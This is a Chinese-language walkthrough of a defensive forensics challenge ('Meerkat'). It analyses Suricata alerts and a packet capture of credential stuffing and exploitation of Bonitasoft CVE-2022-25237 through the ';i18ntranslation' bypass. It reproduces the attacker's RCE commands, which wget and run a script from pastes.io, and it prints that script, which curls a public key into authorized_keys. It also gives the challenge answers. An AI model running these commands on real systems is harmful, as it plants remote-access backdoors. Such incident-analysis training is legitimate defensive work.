分类 | 难度 |
---|---|
SOC | Easy |
Sherlock Scenario
作为一家快速发展的初创公司,Forela 一直在利用业务管理平台。不幸的是,我们的文档很少,而且我们的管理员也不是最有安全意识的。作为我们新的安全提供商,我们希望您查看我们导出的一些 PCAP 和日志数据,以确认我们是否已(或尚未)受到损害。
Tasks
- Task 1: 请确认正在运行的应用程序的名称?
- Task 2: 我们认为攻击者可能使用了暴力破解攻击类别的子集 - 所执行的攻击的名称是什么?
- Task 3: 所利用的漏洞是否分配有 CVE - 如果有,是哪一个?
- Task 4: 攻击者利用哪个字符串附加到 API URL 路径来绕过授权过滤器?
- Task 5: 撞库攻击中使用了多少种用户名和密码组合?
- Task 6: 哪个用户名和密码组合成功?
- Task 7: 如果有的话,攻击者使用了哪个文本共享网站?
- Task 8: 请提供攻击者用于在我们的主机上获得持久性的公钥的文件名。
- Task 9: 您能否确认攻击者修改的文件以获得持久性?
- Task 10: 您能确认一下此类持久化机制的MITRE技术ID吗?
相关工具: jq
, wireshark
分析流程
两个文件,meerkat-alerts.json
和meerkat.pcap
使用 wireshark 分析流量包,统计-> 协议分级
主要是IPV4, 有一些HTTP,SSH,DNS
在统计->端点
可以看到有151个IPV4
分析一下日志(json文件),这里查看第一个
$ cat meerkat-alerts.json | jq '.[0]'
{
"ts": "2023-01-19T15:44:49.669971Z",
"event_type": "alert",
"src_ip": "89.248.165.187",
"src_port": 52870,
"dest_ip": "172.31.6.44",
"dest_port": 10227,
"vlan": null,
"proto": "TCP",
"app_proto": null,
"alert": {
"severity": 2,
"signature": "ET CINS Active Threat Intelligence Poor Reputation IP group 82",
"category": "Misc Attack",
"action": "allowed",
"signature_id": 2403381,
"gid": 1,
"rev": 80387,
"metadata": {
"signature_severity": [
"Major"
],
"former_category": null,
"attack_target": [
"Any"
],
"deployment": [
"Perimeter"
],
"affected_product": [
"Any"
],
"created_at": [
"2013_10_08"
],
"performance_impact": null,
"updated_at": [
"2023_01_18"
],
"malware_family": null,
"tag": [
"CINS"
]
}
},
"flow_id": 519087154346259,
"pcap_cnt": 6292,
"tx_id": null,
"icmp_code": null,
"icmp_type": null,
"tunnel": null,
"community_id": "1:+BXi7peXaBKuiEO4y3Ya0UlQMMQ="
}
event_type
为alert
,统计一下event_type
有哪些值
$ cat meerkat-alerts.json | jq '.[] | .event_type' | sort | uniq -c | sort -nr
261 "alert"
2 null
只有alert
和null
接着统计一下alert中的signature
的值
$ cat meerkat-alerts.json | jq '.[] | .alert.signature'| sort | uniq -c | sort -nr
134 "ET INFO User-Agent (python-requests) Inbound to Webserver"
59 "ET WEB_SPECIFIC_APPS Bonitasoft Default User Login Attempt M1 (Possible Staging for CVE-2022-25237)"
17 "ET DROP Dshield Block Listed Source group 1"
12 "ET EXPLOIT Bonitasoft Authorization Bypass M1 (CVE-2022-25237)"
6 "ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management"
4 "GPL WEB_SERVER DELETE attempt"
4 "ET EXPLOIT Bonitasoft Successful Default User Login Attempt (Possible Staging for CVE-2022-25237)"
4 "ET EXPLOIT Bonitasoft Authorization Bypass and RCE Upload M1 (CVE-2022-25237)"
3 "ET CINS Active Threat Intelligence Poor Reputation IP group 84"
3 "ET CINS Active Threat Intelligence Poor Reputation IP group 82"
2 null
1 "GPL SNMP public access udp"
1 "ET SCAN Suspicious inbound to PostgreSQL port 5432"
1 "ET SCAN Suspicious inbound to Oracle SQL port 1521"
在告警中多次提到 CVE-2022-25237
(Task 3),漏洞是WEB_SPECIFIC_APPS Bonitasoft Default User Login Attempt M1
,通过搜索Bonitasoft
可以知道,Bontiasoft
是一个开源业务流程管理 (BPM) 工具(Task 1)
登陆账号一般采用POST传参,过滤post传参,并对body进行输出
// 第一种过滤方法
tshark -r meerkat.pcap -Y 'http.request.method == POST' -T fields -e text | cut -d":" -f2- | rev | cut -d',' -f2-|rev | grep @ | sort | uniq -c | sort -nr | wc -l
// 第二种过滤方法
tshark -r meerkat.pcap -Y 'http.request.method == POST' -T fields -e urlencoded-form.value | grep @ | sort | uniq -c | sort -nr | wc -l
比较推荐第二种方法:
通过观察请求可以知道,有几个特点:
- POST 请求
账号为邮箱,带
@
在wireshark中,复制出POST传参的数据所对应的字段名称,打印出来后,进行过滤(带@
)的行,进行去重即可得到,共有56对凭据(Task 5)
攻击手段为Credential Stuffing
(Task 2)
其中有一对seb.broom@forela.co.uk:g0vernm3nt
凭据进行认证了四次
使用wireshark进一步分析POST /bonita/loginservice HTTP/1.1 Host: forela.co.uk:8080 User-Agent: python-requests/2.28.1 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Type: application/x-www-form-urlencoded Cookie: x=x Content-Length: 65 username=Mathian.Skidmore%40forela.co.uk&password=TQSNp6XrK&_l=en HTTP/1.1 401 Content-Length: 0 Date: Thu, 19 Jan 2023 15:37:31 GMT Keep-Alive: timeout=20 Connection: keep-alive ------------------------------------------------------------------------ POST /bonita/loginservice HTTP/1.1 Host: forela.co.uk:8080 User-Agent: python-requests/2.28.1 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Type: application/x-www-form-urlencoded Cookie: x=x Content-Length: 59 username=seb.broom%40forela.co.uk&password=g0vernm3nt&_l=en HTTP/1.1 204 Set-Cookie: bonita.tenant=1; SameSite=Lax Set-Cookie: JSESSIONID=745EE4F7243DA99264F07781FBB9B4E3; Path=/bonita; HttpOnly; SameSite=Lax Set-Cookie: X-Bonita-API-Token=1ccb3fac-8abd-4cc0-a52e-bb5811198cdf; Path=/bonita; SameSite=Lax Set-Cookie: BOS_Locale=en; Path=/; SameSite=Lax Date: Thu, 19 Jan 2023 15:38:52 GMT Keep-Alive: timeout=20 Connection: keep-alive
使用错误的账号密码登陆,响应码为 401 (认证失败或未认证),使用
seb.broom@forela.co.uk:g0vernm3nt
这对凭据登陆,响应码204 (成功状态响应码)
因此seb.broom@forela.co.uk:g0vernm3nt
(Task 6)就是正确的账号密码
在分析请求的uri,发现了可以的uri,有大量的API接口调用,而CVE-2022-25237
就是一个和API相关的RCE漏洞
$ tshark -r meerkat.pcap -Y 'http.request.uri' -T fields -e 'http.request.uri' | grep -i api
Running as user "root" and group "root". This could be dangerous.
/bonita/API/pageUpload;i18ntranslation?action=add
/bonita/API/portal/page/;i18ntranslation
/bonita/API/extension/rce?p=0&c=1&cmd=whoami
/bonita/API/portal/page/130;i18ntranslation
/bonita/API/pageUpload;i18ntranslation?action=add
/bonita/API/portal/page/;i18ntranslation
/bonita/API/extension/rce?p=0&c=1&cmd=cat%20/etc/passwd
/bonita/API/portal/page/131;i18ntranslation
/bonita/API/pageUpload;i18ntranslation?action=add
/bonita/API/portal/page/;i18ntranslation
/bonita/API/extension/rce?p=0&c=1&cmd=wget%20https://pastes.io/raw/bx5gcr0et8
/bonita/API/portal/page/132;i18ntranslation
/bonita/API/pageUpload;i18ntranslation?action=add
/bonita/API/portal/page/;i18ntranslation
/bonita/API/extension/rce?p=0&c=1&cmd=bash%20bx5gcr0et8
/bonita/API/portal/page/133;i18ntranslation
执行命令中的pastes.io
(Task 7)是一个文本共享网站,该CVE是使用i18ntranslation
(Task 4)来绕过授权过滤器的.
访问https://pastes.io/raw/bx5gcr0et8,是一个bash脚本,获取的公钥文件名为hffgra4unv
(Task 8)
#!/bin/bash
curl https://pastes.io/raw/hffgra4unv >> /home/ubuntu/.ssh/authorized_keys
sudo service ssh restart
将一个公钥写入到文件/home/ubuntu/.ssh/authorized_keys
(Task 9)中,并重启ssh服务
MITRE ID为Account Manipulation: SSH Authorized Keys: T1098.004
(Task 10)
攻击者的攻击流程:
暴力破解-> 成功登录 -> 利用CVE-2022-25237 -> 下载shell脚本 -> 执行shell脚本,写入公钥 -> 最后应该是进行了ssh连接
总结
这个流量包记录了网站被攻击的流量,攻击者的攻击流程都在流量包中有记录,已经json文件应该是某安全设备针对捕获的流量进行分析,得出是利用的某个CVE,在知道攻击手段后,结合流量能够够容易的有条理的分析攻击链.